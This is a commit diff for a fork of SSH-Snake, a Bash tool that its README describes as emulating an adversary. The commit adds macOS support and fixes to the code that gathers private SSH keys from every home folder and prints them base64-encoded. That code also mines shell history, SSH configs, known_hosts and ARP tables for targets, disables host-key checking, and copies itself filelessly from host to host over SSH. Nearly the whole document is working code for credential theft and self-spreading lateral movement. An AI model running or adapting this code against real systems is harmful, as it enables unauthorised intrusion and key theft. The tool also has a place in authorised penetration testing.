1
0
forked from extern/SSH-Snake

Add MacOS support, and various bug/qol fixes.

Also:
Simplify the check_commands()/check_startup() functions,
Provide a normal error message on missing programs,
Use '-oPubkeyAcceptedKeyTypes=+ssh-rsa' if possible,
Use the PubkeyAcceptedKeyTypes ssh option if possible,
Use /Users for MacOS /home/ replacement,
Direct stderr of more programs to /dev/null,
Use dscacheutil if possible,
Force 5-second DNS timeout for resolution,
Fix printing of the t_hostnames_chain in case of exceptional error (double_rs_chained_print()),
Pick up GitHub error message correctly (exec request failed on channel)
Simplify check_ssh_options
This commit is contained in:
Joshua Rogers 2024-01-10 11:00:10 +07:00
parent 92b2dc5236
commit 3ff1879d06
3 changed files with 233 additions and 99 deletions

View File

@ -61,7 +61,7 @@ curl https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomment
# About SSH-Snake
SSH-Snake seamlessly emulates what a human adversary would do to discover SSH private keys and destinations where they can be used to connect to. Written entirely in Bash, it operates with a minimal set of dependencies commonly available on major Linux systems: `bash`, `ssh`, `getconf`, `coreutils`, `getent`, `awk`, `sort`, `grep`, `tr`, `find`, and `cat`. Likewise, `sudo`, `hostname`, `ip`, and `xargs` may also be used, but they are not required (and the script gracefully handles cases where they are not present). If a system is discovered without any of the required packages, it gracefully fails, alerting the user that the scan could not continue on that particular system (and backtracks, continuing from the previous system.)
SSH-Snake seamlessly emulates what a human adversary would do to discover SSH private keys and destinations where they can be used to connect to. Written entirely in Bash, it operates with a minimal set of dependencies commonly available on major Linux (and MacOS) systems: `bash`, `ssh`, `coreutils`, `awk`, `sort`, `grep`, `tr`, `find`, and `cat`. `getent` OR `dscacheutil` is required. `sed` is required for only the very first system. Likewise, `sudo`, `hostname`, `ip`, `timeout`, `arp`, `ifconfig`, `ipconfig`, and `xargs` may also be used, but they are not required (and the script gracefully handles cases where they are not present). If a system is discovered without any of the required packages, it gracefully fails, alerting the user that the scan could not continue on that particular system (and backtracks, continuing from the previous system.)
SSH-Snake is completely fileless: after the user runs the script, it is passed to destinations' bash via stdin and bash arguments (via SSH). No material evidence of the script exists on any of the systems scanned: the only evidence of the script running is in the process tree, and the substantial amount of invalid SSH attempts which will inevitably occur.
@ -69,6 +69,8 @@ SSH-Snake takes a [depth-first approach](https://en.wikipedia.org/wiki/Depth-fir
The name SSH-Snake comes from the fact that the output of the script looks like a snake slithering up and down the network. However unlike the game Snake, SSH-Snake will not die when it bites its own tail (connects to a systems it has already scanned or is currently scanning): it will simply print how it connected there as normal, but return and not re-scan the destination (in order to avoid infinite recursion).
SSH-Snake has been tested on various flavors of Linux, and MacOS. If you encounter a Linux-based OS it isn't compatible with, please submit a report.
# Features
- Recursively SSH from one system to another using local SSH private keys,
@ -145,3 +147,5 @@ I am particually interested in any interesting `[line]` outputs associated with
- `find ... -readable ...` is used in the script in multiple places. The `-readable` flag is not supported on all versions of `find(1)`.
- The script does not currently look for SSH agent sockets.
- The script does not properly resolve domains with multiple IPv4 addresses.

View File

@ -51,9 +51,9 @@ declare -A not_folders
declare -A current_ips
declare -A ignore_list_array
_ignored_hosts["openssh.com"]=1
_ignored_hosts["255.255.255.255"]=1
ignore_separator="|"
ssh_options=(-oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout="$ssh_timeout" -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes)
ssh_extra_options=(-oHostkeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1)
ssh_options=(-oControlPath=none -oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout="$ssh_timeout" -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes)
user="$USER"
script="$1"
hosts_chain="$(printf "%s" "$2" | base64 -d)"
@ -183,10 +183,6 @@ local local_script
local opt_function_list
local opt_function
local ssh_dest
if ! command -v sed >/dev/null 2>&1; then
printf "Could not begin because 'sed' is not available!\n"
exit 1
fi
opt_function_list=("use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
for opt_function in "${opt_function_list[@]}"; do
if [[ ${!opt_function} -eq 0 ]]; then
@ -335,27 +331,42 @@ printf -- "-- https://joshua.hu/ --\n"
printf -- "-- https://github.com/MegaManSec/SSH-Snake --\n"
printf "\nThanks for playing!\n"
}
check_startup() {
check_commands() {
local required_commands
local required_command
required_commands=("ssh-keygen" "readlink" "getconf" "ssh" "basename" "base64" "getent" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf")
if [[ "${BASH_VERSINFO:-0}" -lt 4 ]]; then
printf "INTERNAL_MSG: command not found: BASH%d: %s\n" "${BASH_VERSINFO[0]}" "${BASH_VERSINFO[*]}"
exit 1
fi
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf")
for required_command in "${required_commands[@]}"; do
if ! command -v "$required_command" >/dev/null 2>&1; then
printf "INTERNAL_MSG: command not found: %s\n" "$required_command"
exit 1
echo "$required_command"
return
fi
done
if [[ "${BASH_VERSINFO:-0}" -lt 4 ]]; then
echo "bash"
return
fi
}
check_startup() {
local missing_command
missing_command="$(check_commands)"
if [[ -z "$script" ]]; then
if ! command -v sed >/dev/null 2>&1; then
printf "Could not begin because 'sed' is not available!\n"
exit 1
elif [[ -n "$missing_command" ]]; then
printf "Could not begin because %s is not available!\n" "$missing_command"
exit 1
fi
print_snake
print_settings
shape_script
fin_root
exit 0
fi
if [[ -n "$missing_command" ]]; then
printf "INTERNAL_MSG: command not found: %s\n" "$required_command"
exit 1
fi
if ! printf "%s" "$script" | base64 -d >/dev/null 2>&1; then
printf "Usage: stdbuf -o0 bash %s >output.log\n" "$0"
exit 1
@ -366,28 +377,40 @@ printf "INTERNAL_MSG: ignore list: %s%s@%s%s\n" "$ignore_separator" "$user" "$cu
exit 0
}
check_sudo() {
[[ $use_sudo -eq 1 ]] && command -v sudo >/dev/null 2>&1 && sudo -n true >/dev/null 2>&1 && s="sudo"
[[ $use_sudo -eq 1 ]] && sudo -n true >/dev/null 2>&1 && s="sudo"
}
check_sshkeygen() {
[[ "$(ssh-keygen -E 2>&1)" == *"unknown option"* ]] && sshkeygen=("ssh-keygen" "-l" "-f")
}
check_ssh_options() {
[[ $(ssh -oHostkeyAlgorithms=+ssh-rsa 2>&1) =~ Bad\ protocol\ 2\ host\ key\ algorithms|Bad\ SSH2\ KexAlgorithms ]] || ssh_options+=("${ssh_extra_options[@]}")
local ssh_extra_options
local ssh_extra_option
ssh_extra_options=(-oHostkeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1 -oPubkeyAcceptedKeyTypes=+ssh-rsa)
for ssh_extra_option in "${ssh_extra_options[@]}"; do
[[ $(ssh "$ssh_extra_option" 2>&1) =~ Bad\ protocol\ 2\ host\ key\ algorithms|Bad\ SSH2\ KexAlgorithms|Bad\ key\ types ]] || ssh_options+=("$ssh_extra_option")
done
}
init_current_ips() {
local current_ip
local default_route
local default_ip
if command -v hostname >/dev/null 2>&1; then
local iface
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} hostname -I 2>/dev/null | tr ' ' '\n' | grep -F '.')
while IFS= read -r iface; do
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} ipconfig getifaddr "$iface" 2>/dev/null)
done < <(${s} ifconfig -l 2>/dev/null | tr ' ' '\n')
current_hostnames_ip="$(IFS=:; echo "${!current_ips[*]}")"
fi
if command -v ip >/dev/null 2>&1; then
default_route="$(${s} ip route show default | awk '/default via/{print $3; exit}')"
if ip route show default >/dev/null 2>&1; then
default_route="$(${s} ip route show default 2>/dev/null | awk '/default via/{print $3; exit}')"
default_route="${default_route:-"1.1.1.1"}"
default_ip="$(${s} ip route get "$default_route" | awk -F'src' '{print $NF; exit}' | awk '{print $1}')"
default_ip="$(${s} ip route get "$default_route" 2>/dev/null | awk -F'src' '{print $NF; exit}' | awk '{print $1}')"
elif route -n get 1.1.1.1 >/dev/null 2>&1; then
iface="$(${s} route -n get 1.1.1.1 2>/dev/null | awk '/interface: / {print $2;exit}')"
default_ip="$(${s} ipconfig getifaddr "$iface" 2>/dev/null)"
fi
default_ip="${default_ip:-"???"}"
this_host="${this_host:-"$default_ip"}"
@ -495,14 +518,14 @@ find_home_folders() {
local home_folder
while IFS= read -r home_folder; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -m -- "$home_folder")"
home_folder="$(readlink -m -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(${s} find -L "/home/" -mindepth 1 -maxdepth 1 -type d 2>/dev/null)
done < <(${s} find -L "/home" "/Users" -mindepth 1 -maxdepth 1 -type d 2>/dev/null)
while IFS=: read -r _ _ _ _ _ home_folder _; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -m -- "$home_folder")"
home_folder="$(readlink -m -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(getent passwd)
done < <(getent passwd 2>/dev/null)
}
init_ssh_files() {
local home_folder
@ -534,7 +557,7 @@ known_key_headers=(
"---- BEGIN SSH2 ENCRYPTED PRIVATE KEY ----"
)
is_file "$key_file" || return 1
read -r -n 50 file_header < <(${s} cat -- "$key_file")
read -r -n 50 file_header < <(${s} cat -- "$key_file" 2>/dev/null)
for key_header in "${known_key_headers[@]}"; do
if [[ "$file_header" == *"$key_header"* ]]; then
return 0
@ -558,7 +581,7 @@ priv_keys["$ssh_pubkey"]="$key_file"
else
chained_print ": Discovered unusable private key in [$key_file]"
fi
chained_print ": EXTERNAL_MSG: KEY[$key_file]: $(${s} cat -- "$key_file" | base64 | tr -d '\n')"
chained_print ": EXTERNAL_MSG: KEY[$key_file]: $(${s} cat -- "$key_file" 2>/dev/null | base64 | tr -d '\n')"
return 0
}
check_and_populate_keys() {
@ -568,7 +591,7 @@ local ignored_key_file
unresolved_key_file="$1"
[[ -v 'priv_keys_files["$unresolved_key_file"]' || ${#priv_keys_files["$unresolved_key_file"]} -gt 0 ]] && return 0
[[ -v 'key_files["$unresolved_key_file"]' || ${#key_files["$unresolved_key_file"]} -gt 0 ]] && return 1
key_file="$(${s} readlink -m -- "$unresolved_key_file")"
key_file="$(${s} readlink -m -- "$unresolved_key_file" 2>/dev/null)"
[[ -v 'priv_keys_files["$key_file"]' || ${#priv_keys_files["$key_file"]} -gt 0 ]] && priv_keys_files["$unresolved_key_file"]=1 && return 0
[[ -v 'key_files["$key_file"]' || ${#key_files["$key_file"]} -gt 0 ]] && key_files["$unresolved_key_file"]=1 && return 1
key_files["$unresolved_key_file"]=1
@ -612,7 +635,7 @@ local bash_history_line
local home_user
home_file="$home_folder/.bash_history"
is_file "$home_file" || continue
home_user="$(basename -- "$home_folder")"
home_user="$(basename -- "$home_folder" 2>/dev/null)"
while IFS= read -r bash_history_line; do
local ssh_dest
local tokens
@ -696,7 +719,7 @@ fi
done
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user"
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" | sort -u)
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort -u)
done
}
find_from_ssh_config() {
@ -705,7 +728,7 @@ for home_folder in "${!home_folders[@]}"; do
local ssh_file
local home_user
is_dir "$home_folder/.ssh" || continue
home_user="$(basename -- "$home_folder")"
home_user="$(basename -- "$home_folder" 2>/dev/null)"
while IFS= read -r ssh_file; do
is_file "$ssh_file" || continue
local cline
@ -733,7 +756,7 @@ add_ssh_user "$cline_val"
check_potential_key_files "$cline_val" "$home_folder"
;;
esac
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" | sort -u)
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort -u)
done < <(${s} find -L "$home_folder/.ssh" -type f -readable 2>/dev/null)
done
}
@ -760,12 +783,11 @@ while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
done < <(${s} grep -F 'from=' -- "$ssh_file" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
done
}
find_from_last() {
local ssh_dest
command -v "last" >/dev/null 2>&1 || return
last -aiw >/dev/null 2>&1 || return
while IFS= read -r ssh_dest; do
add_ssh_dest "$ssh_dest"
@ -797,12 +819,18 @@ local ssh_host
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u)
while IFS=": " read -r _ ssh_host; do
add_ssh_host "$ssh_host"
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort -u)
}
find_arp_neighbours() {
local ssh_host
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u)
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u)
}
find_d_block() {
local octets
@ -870,7 +898,7 @@ for current_ip in "${!current_ips[@]}"; do
[[ $hashed_number -lt 1 ]] && break
IFS='.' read -ra octets < <(echo "$current_ip")
[[ ${#octets[@]} -eq 4 ]] || continue
if command -v "xargs" >/dev/null 2>&1; then
if command -v xargs >/dev/null 2>&1; then
for i in {0..255}; do
[[ $hashed_number -lt 1 ]] && break
while IFS= read -r ssh_host; do
@ -965,13 +993,28 @@ deduplicate_resolved_hosts_keys() {
local ssh_dest
declare -A valid_ssh_dests
declare -A resolved_hosts
local res
local mac
local to
if command -v timeout >/dev/null 2>&1; then
to="timeout 5"
fi
if getent ahostsv4 -- 1.1.1.1 >/dev/null 2>&1; then
res="$to getent ahostsv4 --"
elif dscacheutil -q host -a name 1.1.1.1 >/dev/null 2>&1; then
res="$to dscacheutil -q host -a name"
mac="1"
else
printf "INTERNAL_MSG: command not found: RESOLVE (%s)\n" "$(uname -a 2>/dev/null)"
fin
fi
for ssh_dest in "${!ssh_dests[@]}"; do
local ssh_host
is_ssh_dest "$ssh_dest" || continue
ssh_host="${ssh_dest#*@}"
[[ -v 'resolved_hosts["$ssh_host"]' || ${#resolved_hosts["$ssh_host"]} -gt 0 ]] && continue
resolved_hosts["$ssh_host"]=1
(getent ahostsv4 -- "$ssh_host" > /dev/null 2>&1 &)
($res "$ssh_host" > /dev/null 2>&1 &)
done
wait
resolved_hosts=()
@ -986,8 +1029,13 @@ ssh_host="${ssh_dest#*@}"
if [[ -v 'resolved_hosts["$ssh_host"]' || ${#resolved_hosts["$ssh_host"]} -gt 0 ]]; then
resolved_ssh_host="${resolved_hosts["$ssh_host"]}"
else
resolved_ssh_host="$(getent ahostsv4 -- "$ssh_host" 2>/dev/null)"
if [[ -n "$mac" ]]; then
resolved_ssh_host="$($res "$ssh_host" 2>/dev/null | grep -F 'ip_address:')"
resolved_ssh_host="${resolved_ssh_host#* }"
else
resolved_ssh_host="$($res "$ssh_host" 2>/dev/null)"
resolved_ssh_host="${resolved_ssh_host%% *}"
fi
if [[ "${resolved_ssh_host:0:1}" =~ [12] ]]; then
[[ "$resolved_ssh_host" =~ ^127\. ]] && resolved_ssh_host="127.0.0.1"
resolved_hosts["$ssh_host"]="$resolved_ssh_host"
@ -1080,8 +1128,14 @@ rs_chained_print() {
printf "%s%*s%s->%s\n" "$indent" 1 "" "$1" "$2"
}
double_rs_chained_print() {
local ssh_dest
local ssh_host
local ssh_user
ssh_dest="$3"
ssh_user="${ssh_dest%%@*}"
ssh_host="${ssh_dest#*@}"
rs_chained_print "$1" "$3"
rs_chained_print "$2" "($3)"
rs_chained_print "$2" "$ssh_user@($ssh_host)"
}
recursive_scan() {
declare -A retry_dests
@ -1117,7 +1171,7 @@ break
fi
if [[ "$line" == *"Argument list too long"* ]]; then
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
rs_chained_print "$t_hosts_chain" "$ssh_dest [ARG_LIMIT:$(getconf -a | awk '/ARG_MAX/{print $NF; exit}'), $(printf "%s" "$ignore_list" | base64 | tr -d '\n')]"
rs_chained_print "$t_hosts_chain" "$ssh_dest [ARG_LIMIT:$(getconf -a 2>/dev/null | awk '/ARG_MAX/{print $NF; exit}'), $(printf "%s" "$ignore_list" | base64 | tr -d '\n')]"
printf "INTERNAL_MSG: ARG_LIMIT\n"
fin
fi
@ -1171,7 +1225,7 @@ double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
rs_chained_print "$t_hosts_chain" "$ssh_dest [GitLab]"
break
fi
if [[ "$line" == "Invalid command:"* ]]; then
if [[ "$line" == "Invalid command: "* || "$line" == "exec request failed on channel "* ]]; then
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
rs_chained_print "$t_hosts_chain" "$ssh_dest [GitHub]"
break

192
Snake.sh
View File

@ -59,7 +59,7 @@ scan_paths_depth=3 # [3|n]: If using scan_paths, specify the max-depth. Set to 9
######
######
use_find_from_hosts=1 # [1|0]: Attempt to find hosts using `getent ahostsv4` (also know as /etc/hosts).
use_find_from_hosts=1 # [1|0]: Attempt to find hosts using /etc/hosts
use_find_arp_neighbours=1 # [1|0]: arp neighbours may be interesting hosts.
@ -209,11 +209,11 @@ declare -A current_ips
declare -A ignore_list_array
_ignored_hosts["openssh.com"]=1
_ignored_hosts["255.255.255.255"]=1
# GLOBALS
ignore_separator="|"
ssh_options=(-oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout="$ssh_timeout" -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes)
ssh_extra_options=(-oHostkeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1)
ssh_options=(-oControlPath=none -oIdentitiesOnly=yes -oServerAliveInterval=300 -oTCPKeepAlive=no -oConnectTimeout="$ssh_timeout" -oStrictHostKeyChecking=no -oGlobalKnownHostsFile=/dev/null -oUserKnownHostsFile=/dev/null -oBatchMode=yes)
user="$USER"
script="$1"
hosts_chain="$(printf "%s" "$2" | base64 -d)" # This contains the exact chain we used to connect between servers.
@ -383,11 +383,6 @@ shape_script() {
local opt_function
local ssh_dest
if ! command -v sed >/dev/null 2>&1; then
printf "Could not begin because 'sed' is not available!\n"
exit 1
fi
opt_function_list=("use_combinate_interesting_users_hosts" "use_combinate_users_hosts_aggressive" "use_find_from_hosts" "use_find_from_last" "use_find_from_authorized_keys" "use_find_from_known_hosts" "use_find_from_ssh_config" "use_find_from_bash_history" "use_find_arp_neighbours" "use_find_d_block" "use_find_from_hashed_known_hosts" "use_find_from_prev_dest" "use_find_from_ignore_list" "use_retry_all_dests")
for opt_function in "${opt_function_list[@]}"; do
@ -577,29 +572,44 @@ EOF
printf "\nThanks for playing!\n"
}
# Check each of the required programs and bash version.
# Prints the missing command on fail.
check_commands() {
local required_commands
local required_command
required_commands=("ssh-keygen" "readlink" "ssh" "basename" "base64" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf") # "sudo" "hostname" "xargs" "getent" "ifconfig" "ipconfig" "ip" "timeout" "dscacheutil" are all semi-optional. "sed" is necessary only by the first system.
for required_command in "${required_commands[@]}"; do
if ! command -v "$required_command" >/dev/null 2>&1; then
echo "$required_command"
return
fi
done
if [[ "${BASH_VERSINFO:-0}" -lt 4 ]]; then
echo "bash"
return
fi
}
# Ensures that the server is running bash and has all of the required inbuilts and programs required for the script to run.
# If a version of bash is not compatible with the script, it reports the version but does not continue.
# If any of the required programs/inbuilts are missing, it also reports the violation and quits.
check_startup() {
local required_commands
local required_command
local missing_command
required_commands=("ssh-keygen" "readlink" "getconf" "ssh" "basename" "base64" "getent" "awk" "sort" "grep" "tr" "find" "cat" "stdbuf") # "sudo" "hostname" "xargs" are all optional.
if [[ "${BASH_VERSINFO:-0}" -lt 4 ]]; then
printf "INTERNAL_MSG: command not found: BASH%d: %s\n" "${BASH_VERSINFO[0]}" "${BASH_VERSINFO[*]}"
exit 1
fi
for required_command in "${required_commands[@]}"; do
if ! command -v "$required_command" >/dev/null 2>&1; then
printf "INTERNAL_MSG: command not found: %s\n" "$required_command"
exit 1
fi
done
missing_command="$(check_commands)"
# This is the beginning of the main script: print_snake, print_settings, then shape_script (which executes the script via stdin)
if [[ -z "$script" ]]; then
if ! command -v sed >/dev/null 2>&1; then
printf "Could not begin because 'sed' is not available!\n"
exit 1
elif [[ -n "$missing_command" ]]; then
printf "Could not begin because %s is not available!\n" "$missing_command"
exit 1
fi
print_snake
print_settings
shape_script
@ -607,6 +617,11 @@ check_startup() {
exit 0
fi
if [[ -n "$missing_command" ]]; then
printf "INTERNAL_MSG: command not found: %s\n" "$required_command"
exit 1
fi
if ! printf "%s" "$script" | base64 -d >/dev/null 2>&1; then
printf "Usage: stdbuf -o0 bash %s >output.log\n" "$0"
exit 1
@ -626,7 +641,7 @@ fin() {
# If use_sudo is set, we check whether we are able to use sudo.
# If we can use sudo, set $s with the sudo command.
check_sudo() {
[[ $use_sudo -eq 1 ]] && command -v sudo >/dev/null 2>&1 && sudo -n true >/dev/null 2>&1 && s="sudo"
[[ $use_sudo -eq 1 ]] && sudo -n true >/dev/null 2>&1 && s="sudo"
}
# Different versions of ssh-keygen support different options.
@ -639,7 +654,13 @@ check_sshkeygen() {
# Older versions of ssh-keygen do not support the appending of HostkeyAlgorithms and KexAlgorithms values.
# Don't use them unless they're supported.
check_ssh_options() {
[[ $(ssh -oHostkeyAlgorithms=+ssh-rsa 2>&1) =~ Bad\ protocol\ 2\ host\ key\ algorithms|Bad\ SSH2\ KexAlgorithms ]] || ssh_options+=("${ssh_extra_options[@]}")
local ssh_extra_options
local ssh_extra_option
ssh_extra_options=(-oHostkeyAlgorithms=+ssh-rsa -oKexAlgorithms=+diffie-hellman-group1-sha1 -oPubkeyAcceptedKeyTypes=+ssh-rsa)
for ssh_extra_option in "${ssh_extra_options[@]}"; do
[[ $(ssh "$ssh_extra_option" 2>&1) =~ Bad\ protocol\ 2\ host\ key\ algorithms|Bad\ SSH2\ KexAlgorithms|Bad\ key\ types ]] || ssh_options+=("$ssh_extra_option")
done
}
# Determining the ip address of the current destination is difficult because it may have multiple ip addresses, and we are likely to connect to both of them eventually (including 127.0.0.1 for example).
@ -659,22 +680,33 @@ init_current_ips() {
local current_ip
local default_route
local default_ip
local iface
# Create the current_ips array containing all of the ipv4 addresses of the destination.
if command -v hostname >/dev/null 2>&1; then
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} hostname -I 2>/dev/null | tr ' ' '\n' | grep -F '.')
# mac support
while IFS= read -r iface; do
while IFS= read -r current_ip; do
current_ips["$current_ip"]=1
done < <(${s} hostname -I 2>/dev/null | tr ' ' '\n' | grep -F '.')
current_hostnames_ip="$(IFS=:; echo "${!current_ips[*]}")"
fi
done < <(${s} ipconfig getifaddr "$iface" 2>/dev/null)
done < <(${s} ifconfig -l 2>/dev/null | tr ' ' '\n')
current_hostnames_ip="$(IFS=:; echo "${!current_ips[*]}")"
# Then, determine the ip address for connecting to the default gateway. Otherwise, to the internet.
# sudo is required on some systems, so use it if possible.
if command -v ip >/dev/null 2>&1; then
default_route="$(${s} ip route show default | awk '/default via/{print $3; exit}')"
if ip route show default >/dev/null 2>&1; then
default_route="$(${s} ip route show default 2>/dev/null | awk '/default via/{print $3; exit}')"
default_route="${default_route:-"1.1.1.1"}"
default_ip="$(${s} ip route get "$default_route" | awk -F'src' '{print $NF; exit}' | awk '{print $1}')"
default_ip="$(${s} ip route get "$default_route" 2>/dev/null | awk -F'src' '{print $NF; exit}' | awk '{print $1}')"
elif route -n get 1.1.1.1 >/dev/null 2>&1; then
iface="$(${s} route -n get 1.1.1.1 2>/dev/null | awk '/interface: / {print $2;exit}')"
default_ip="$(${s} ipconfig getifaddr "$iface" 2>/dev/null)"
fi
default_ip="${default_ip:-"???"}"
# If $this_host has not been passed to us, set our address to the default ip address.
@ -743,7 +775,7 @@ init_ignored() {
for ignored_dest in "${ignored_dests[@]}"; do
is_ssh_dest "$ignored_dest" && _ignored_dests["$ignored_dest"]=1
for current_ip in "${!current_ips[@]}"; do # TODO: Can use current_ips[*] as a one-liner. Also should we be alerting that we got to an ignored dest somehow?
for current_ip in "${!current_ips[@]}"; do
[[ "$ignored_dest" == "$user@$current_ip" ]] && fin
done
done
@ -854,22 +886,22 @@ exec_custom_cmds() {
done
}
# Creates a list of home folders using both getent passwd(/etc/passwd) and listing the directories in /home/.
# Creates a list of home folders using both getent passwd(/etc/passwd) (if possible) and listing the directories in /home/ and /Users.
# /home/ may contain deleted users' data still, therefore /etc/passwd is not completely reliable.
find_home_folders() {
local home_folder
while IFS= read -r home_folder; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -m -- "$home_folder")"
home_folder="$(readlink -m -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(${s} find -L "/home/" -mindepth 1 -maxdepth 1 -type d 2>/dev/null)
done < <(${s} find -L "/home" "/Users" -mindepth 1 -maxdepth 1 -type d 2>/dev/null)
while IFS=: read -r _ _ _ _ _ home_folder _; do
[[ -v 'home_folders["$home_folder"]' || ${#home_folders["$home_folder"]} -gt 0 ]] && continue
home_folder="$(readlink -m -- "$home_folder")"
home_folder="$(readlink -m -- "$home_folder" 2>/dev/null)"
is_dir "$home_folder" && home_folders["$home_folder"]=1
done < <(getent passwd)
done < <(getent passwd 2>/dev/null)
}
# Discovers all files in the .ssh/ directories of all home folders.
@ -911,7 +943,7 @@ check_file_for_privkey() {
is_file "$key_file" || return 1
read -r -n 50 file_header < <(${s} cat -- "$key_file") # cat is faster than head.
read -r -n 50 file_header < <(${s} cat -- "$key_file" 2>/dev/null) # cat is faster than head.
for key_header in "${known_key_headers[@]}"; do
if [[ "$file_header" == *"$key_header"* ]]; then
return 0
@ -961,7 +993,7 @@ populate_keys() {
chained_print ": Discovered unusable private key in [$key_file]"
fi
chained_print ": EXTERNAL_MSG: KEY[$key_file]: $(${s} cat -- "$key_file" | base64 | tr -d '\n')"
chained_print ": EXTERNAL_MSG: KEY[$key_file]: $(${s} cat -- "$key_file" 2>/dev/null | base64 | tr -d '\n')"
return 0
}
@ -979,7 +1011,7 @@ check_and_populate_keys() {
[[ -v 'priv_keys_files["$unresolved_key_file"]' || ${#priv_keys_files["$unresolved_key_file"]} -gt 0 ]] && return 0
[[ -v 'key_files["$unresolved_key_file"]' || ${#key_files["$unresolved_key_file"]} -gt 0 ]] && return 1
key_file="$(${s} readlink -m -- "$unresolved_key_file")"
key_file="$(${s} readlink -m -- "$unresolved_key_file" 2>/dev/null)" # use sudo because it may be a symlink in a priviliged location, not that it would really matter (ssh will just use the symlink)
[[ -v 'priv_keys_files["$key_file"]' || ${#priv_keys_files["$key_file"]} -gt 0 ]] && priv_keys_files["$unresolved_key_file"]=1 && return 0
[[ -v 'key_files["$key_file"]' || ${#key_files["$key_file"]} -gt 0 ]] && key_files["$unresolved_key_file"]=1 && return 1
@ -1070,7 +1102,7 @@ find_from_bash_history() {
home_file="$home_folder/.bash_history"
is_file "$home_file" || continue
home_user="$(basename -- "$home_folder")"
home_user="$(basename -- "$home_folder" 2>/dev/null)"
while IFS= read -r bash_history_line; do
local ssh_dest
@ -1207,7 +1239,7 @@ find_from_bash_history() {
[[ -z "$cached_ssh_user" ]] && add_ssh_user "$home_user" && cached_ssh_user="$home_user" # XXX: Can we parse ssh_config and detect Host [host] corresponds to a user, instead?
[[ -n "$cached_ssh_user" && -n "$cached_ssh_host" ]] && add_ssh_dest "$cached_ssh_user@$cached_ssh_host"
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" | sort -u)
done < <(${s} grep -E '^(ssh|scp|rsync) ' -- "$home_file" 2>/dev/null | sort -u)
done
}
@ -1231,7 +1263,7 @@ find_from_ssh_config() {
is_dir "$home_folder/.ssh" || continue
home_user="$(basename -- "$home_folder")"
home_user="$(basename -- "$home_folder" 2>/dev/null)"
while IFS= read -r ssh_file; do
is_file "$ssh_file" || continue
@ -1265,7 +1297,7 @@ find_from_ssh_config() {
check_potential_key_files "$cline_val" "$home_folder"
;;
esac
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" | sort -u)
done < <(${s} grep -iE 'Host|HostName|User|IdentityFile' -- "$ssh_file" 2>/dev/null | sort -u)
